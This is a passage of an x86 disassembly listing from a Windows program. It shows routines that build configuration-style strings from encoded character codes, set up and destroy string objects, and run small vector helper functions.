		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		mov	byte ptr [esp+3A4h], 31h
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		mov	byte ptr [esp+388h], 36h
		lea	edi, [esi+0E7Fh]
		push	edi
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		mov	byte ptr [esp+398h], 3Ah
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D633F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		mov	byte ptr [esp+37Ch], 43h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		mov	byte ptr [esp+380h], 4Ch
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D633F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F20
		push	offset word_4E6E4A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4437F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4437F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E4A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D633F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_4473DD
		mov	ecx, offset word_448CC6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D633F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_447394
		mov	ecx, offset word_448CC6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D633F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_447270
		mov	ecx, offset word_448CC6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D633F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447302
		mov	ecx, offset word_448CC6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D633F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_4472B9
		mov	ecx, offset word_448CC6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D633F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44734B
		mov	ecx, offset word_448CC6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D633F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_44746F
		mov	ecx, offset word_448CC6
		call	sub_401596
		lea	ecx, [esp+200h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C4E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		mov	byte ptr [esp+358h], 1Bh
		lea	ecx, [esp+110h]
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		mov	byte ptr [esp+358h], 0
		lea	ecx, [esp+80h]
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094D0	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_4094E8
		mov	ecx, esi
		call	sub_40190B


loc_4094E8:				; CODE XREF: sub_4094D0+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_4094D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409510	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409540	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_409540	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409560	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_409560	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409580	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40958A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40958A:				; CODE XREF: sub_409580+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095B0	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_4095B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409600:				; CODE XREF: sub_40190Bj
		push	0FFFFFFFFh
		push	offset loc_438AD9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_43F088
		push	edx
		call	sub_4368C2
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409680	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40974B
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_4096B3
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_4096B5
; ---------------------------------------------------------------------------


loc_4096B3:				; CODE XREF: sub_409680+26j
		mov	ebp, edi


loc_4096B5:				; CODE XREF: sub_409680+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40974B:				; CODE XREF: sub_409680+17j
